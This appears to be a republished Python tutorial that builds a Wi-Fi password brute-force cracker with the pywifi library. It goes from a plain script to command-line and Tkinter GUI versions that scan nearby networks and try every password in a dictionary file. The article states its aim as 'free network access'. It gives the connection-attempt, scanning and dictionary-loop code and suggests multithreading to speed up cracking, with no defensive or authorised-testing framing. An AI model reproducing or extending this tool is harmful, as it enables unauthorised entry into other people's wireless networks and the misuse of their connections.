WiFi Password Brute‑Force Cracking Using Python and Tkinter GUI
This article demonstrates how to use Python's pywifi library to script a Wi‑Fi password brute‑force attack, improves the tool with command‑line and graphical interfaces built with Tkinter, and discusses scanning nearby networks, flexible dictionary selection, and future multithreading enhancements.
The article begins with a brief introduction stating that it will record the process of using a Python script to perform Wi‑Fi password brute‑force cracking for free network access.
Non‑GUI Brute‑Force Script
A basic script without a graphical interface is presented. It defines wifiConnect(pwd) to configure a Wi‑Fi profile, attempt a connection, and return success status, and readPassword() to read passwords from a dictionary file and try each one until the correct password is found.
<code>import pywifi</code>
<code>from pywifi import const</code>
<code>import time, datetime</code>
<code># Test connection, return result</code>
<code>def wifiConnect(pwd):</code>
<code> wifi = pywifi.PyWiFi()</code>
<code> ifaces = wifi.interfaces()[0]</code>
<code> ifaces.disconnect()</code>
<code> time.sleep(1)</code>
<code> wifistatus = ifaces.status()</code>
<code> if wifistatus == const.IFACE_DISCONNECTED:</code>
<code> profile = pywifi.Profile()</code>
<code> profile.ssid = "Tr0e"</code>
<code> profile.auth = const.AUTH_ALG_OPEN</code>
<code> profile.akm.append(const.AKM_TYPE_WPA2PSK)</code>
<code> profile.cipher = const.CIPHER_TYPE_CCMP</code>
<code> profile.key = pwd</code>
<code> ifaces.remove_all_network_profiles()</code>
<code> tep_profile = ifaces.add_network_profile(profile)</code>
<code> ifaces.connect(tep_profile)</code>
<code> time.sleep(2)</code>
<code> return ifaces.status() == const.IFACE_CONNECTED</code>
<code> else:</code>
<code> print("已有wifi连接")</code>The script reads passwords from pwd.txt , attempts each, prints success or failure messages, and reports the total time taken.
Script Optimization – Command‑Line Interface
The next version adds a Wi‑Fi scanning module that lists available networks sorted by signal strength, lets the user choose a target SSID, and then performs the brute‑force attack using a user‑specified dictionary path.
<code>def wifi_scan():</code>
<code> wifi = pywifi.PyWiFi()</code>
<code> interface = wifi.interfaces()[0]</code>
<code> interface.scan()</code>
<code> # wait and collect results</code>
<code> bss = interface.scan_results()</code>
<code> # sort and display</code>After scanning, the user inputs the index of the desired network, confirms the choice, and the script calls wifi_password_crack(wifi_name) to iterate through the dictionary.
Simple Tkinter GUI
A minimal graphical interface is built with Tkinter. It provides entry fields for the Wi‑Fi name and a button to start cracking. The GUI reads passwords from a hard‑coded pwd.txt file and displays success or failure in a listbox.
<code>from tkinter import *</code>
<code>def wificonnect(str, wifiname):</code>
<code> wifi = pywifi.PyWiFi()</code>
<code> ifaces = wifi.interfaces()[0]</code>
<code> # configure profile and attempt connection</code>Upgraded Tkinter GUI
The final version expands the GUI with the following features:
Scanning nearby Wi‑Fi networks and displaying them in a Treeview table.
File‑dialog for selecting a password dictionary.
Separate input fields for SSID and password.
Real‑time status messages and a message box on success.
The class MY_GUI encapsulates the window, scanning, dictionary loading, and connection logic. The connect method creates a profile, attempts a connection, waits, checks the interface status, and then disconnects.
<code>class MY_GUI():</code>
<code> def __init__(self, init_window_name):</code>
<code> self.wifi = pywifi.PyWiFi()</code>
<code> self.iface = self.wifi.interfaces()[0]</code>
<code> self.iface.disconnect()</code>
<code> def scans_wifi_list(self):</code>
<code> self.iface.scan()</code>
<code> time.sleep(15)</code>
<code> scanres = self.iface.scan_results()</code>
<code> self.show_scans_wifi_list(scanres)</code>
<code> def readPassWord(self):</code>
<code> pwdfilehander = open(self.get_value.get(), "r", errors="ignore")</code>
<code> while True:</code>
<code> self.pwdStr = pwdfilehander.readline()</code>
<code> if not self.pwdStr: break</code>
<code> if self.connect(self.pwdStr, self.get_wifi_value.get()):</code>
<code> tkinter.messagebox.showinfo('提示', '破解成功!!!')</code>The article concludes that the presented code lacks multithreading, which would reduce the waiting time caused by the 3‑5 second connection attempts, and suggests that adding threads is a worthwhile improvement.
Overall, the tutorial provides a step‑by‑step guide to building a functional Wi‑Fi password cracking tool in Python, from a simple script to a full‑featured GUI application.
Python Programming Learning Circle
A global community of Chinese Python developers offering technical articles, columns, original video tutorials, and problem sets. Topics include web full‑stack development, web scraping, data analysis, natural language processing, image processing, machine learning, automated testing, DevOps automation, and big data.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.